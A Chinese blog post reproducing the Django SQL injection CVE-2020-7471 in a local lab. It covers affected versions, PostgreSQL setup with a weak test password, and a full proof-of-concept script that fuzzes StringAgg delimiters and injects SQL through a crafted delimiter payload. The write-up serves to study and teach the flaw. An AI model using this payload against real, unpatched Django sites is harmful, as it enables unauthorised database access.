2020年2月3日,Django 官方发布安全通告公布了一个通过StringAgg(分隔符)实现利用的潜在SQL注入漏洞(CVE-2020-7471)。攻击者可通过构造分隔符传递给聚合函数contrib.postgres.aggregates.StringAgg,从而绕过转义符号(\)并注入恶意SQL语句。
EG:
/受影响版本
Django 1.11.x < 1.11.28
Django 2.2.x < 2.2.10
Django 3.0.x < 3.0.3
Django 主开发分支
/不受影响产品版本
Django 1.11.28
Django 2.2.10
Django 3.0.3
使用pip命令安装。
EG:
pip3 install django==3.0.2
由于Debian默认包括PostgreSQL。要在Debian上安装PostgreSQL,可以直接使用apt-get(或其他apt-driving)命令,这里安装的是postgresql-11。
(其他安装方式见:Linux 上安装 PostgreSQL)
EG:
sudo apt-get install postgresql-11
初次安装postgres 数据库,系统会创建一个数据库超级用户 postgres,密码为空。使用命令(sudo -i -u postgres)进入postgres数据库,并创建测试数据库(test)。
EG:
sudo /etc/init.d/postgresql start
sudo -i -u postgres
psql
ALTER USER postgres WITH PASSWORD '123';
/更改用户postgres密码为123;
CREATE DATABASE test;
EG:
git clone https://github.com/Saferman/CVE-2020-7471.git
修改文件…/CVE-2020-7471/sqlvul_projects/settings.py 里面的第78列下的数据库配置,如果之前安装postgres数据库使用的默认配置(包括密码),就无需修改任何任何配置,可以跳过这一步(我这里更改了初始密码故需要更改);
EG:
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.postgresql',
'NAME': 'test', # 数据库名称
'USER': 'postgres',
'PASSWORD': '123', # 数据库用户密码
'HOST': '127.0.0.1', # 数据库地址
'PORT': '5432',
}
}
EG:
python3 manage.py migrate
python3 manage.py makemigrations vul_app
python3 manage.py migrate vul_app
使用命令就可以查看到插入到test库中的表以及表中数据
EG:
sudo -i -u postgres
psql
\c test
\d
select * from vul_app_info;
EG:
python3 CVE-2020-7471.py
EG:
# encoding:utf-8
import os
import django
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "sqlvul_project.settings")
# Django 版本大于等于1.7的时候,需要加上下面两句
if django.VERSION >= (1, 7):#自动判断版本
django.setup()
from vul_app.models import Info
from django.contrib.postgres.aggregates import StringAgg
from django.db.models import Count
"""
postgres 预先执行的SQL
CREATE DATABASE test;
\c test;
\d 列出当前数据库的所有表格
"""
def initdb():
data = [('li','male'),('zhao','male'),('zhang','female')]
for name,gender in data:
Info.objects.get_or_create(name=name,gender=gender)
def query():
# FUZZ delimiter
error_c = []
other_error_c = []
for c in "!@#$%^&*()_+=-|\\\"':;?/>.<,{}[]":
results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name',delimiter=c))
try:
for e in results:
pass
except IndexError:
error_c.append(c)
except:
other_error_c.append(c)
print(error_c)
print(other_error_c)
def query_with_evil():
'''
注入点证明
分别设置delimiter为 单引号 二个单引号 二个双引号
尝试注释后面的内容 ')--
:return:
'''
print("[+]正常的输出:")
payload = '-'
results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload))
for e in results:
print(e)
print("[+]注入后的的输出:")
payload = '-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- '
results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload))
for e in results:
print(e)
if __name__ == '__main__':
print(django.VERSION) # 测试版本 3.0.2
initdb()
query()
query_with_evil()
给管理器添加初始测试数据[(‘li’,‘male’),(‘zhao’,‘male’),(‘zhang’,‘female’)];
进行模糊测试,找出当delimiter 的值为哪些字符时,会让程序运行出现错误(即使用哪些字符可能会干扰SQL语句的执行(将delimiter 输入的字符带入了SQL语句,破坏原有语句)),测试结果得出是单引号和百分号(具体测试流程可见文章:CVE-2020-7471 漏洞详细分析原理以及POC)。
进行注入点证明测试时,payload前后两个不同的赋值,是为了得到两个不同的结果,前一个使用正确的分隔符-,后一个是使用同样的分隔符-,但是后面带有SQL语句:
') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 --
数据库进行查询时,使得整个查询语句变为了:
SELECT "vul_app_info"."gender", STRING_AGG("vul_app_info"."name", '-') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 --
(需要注意的是,由于POC是python写的,这里的payload = ‘-\’) AS … LIMIT 1 OFFSET 1 – ‘中的\’,反斜杠的作用只是在payload字符串赋值时转义单引号),payload中的-’),使得STRING_AGG(“vul_app_info”.“name”, ‘-’)右括号闭合了,导致了后面的SQL语句的执行。(输出只出现一条,是因为使用了LIMIT,这是为了证明该SQL语句确实被执行了)
此次漏洞复现的过程中,可能需要注意的是在不同操作系统上的postgres数据库的安装,容易出现意外的问题,再然后就是关于测试环境以及CVE文件中的配置。从POC脚本文件中也能看出,编写者证明漏洞注入点的思维的缜密性,最后对于,运行POC脚本的结果,也能直观的感受到漏洞的存在点,以及潜在的危害。这一次的漏洞复现经历,又是一次宝贵的学习经验。
[如有错误,请指出,拜托了<( _ _ )> !!!]
[参考文档]
https://github.com/Saferman/CVE-2020-7471
绿盟科技安全情报:Django SQL注入漏洞(CVE-2020-7471)威胁通告
CVE-2020-7471 漏洞详细分析原理以及POC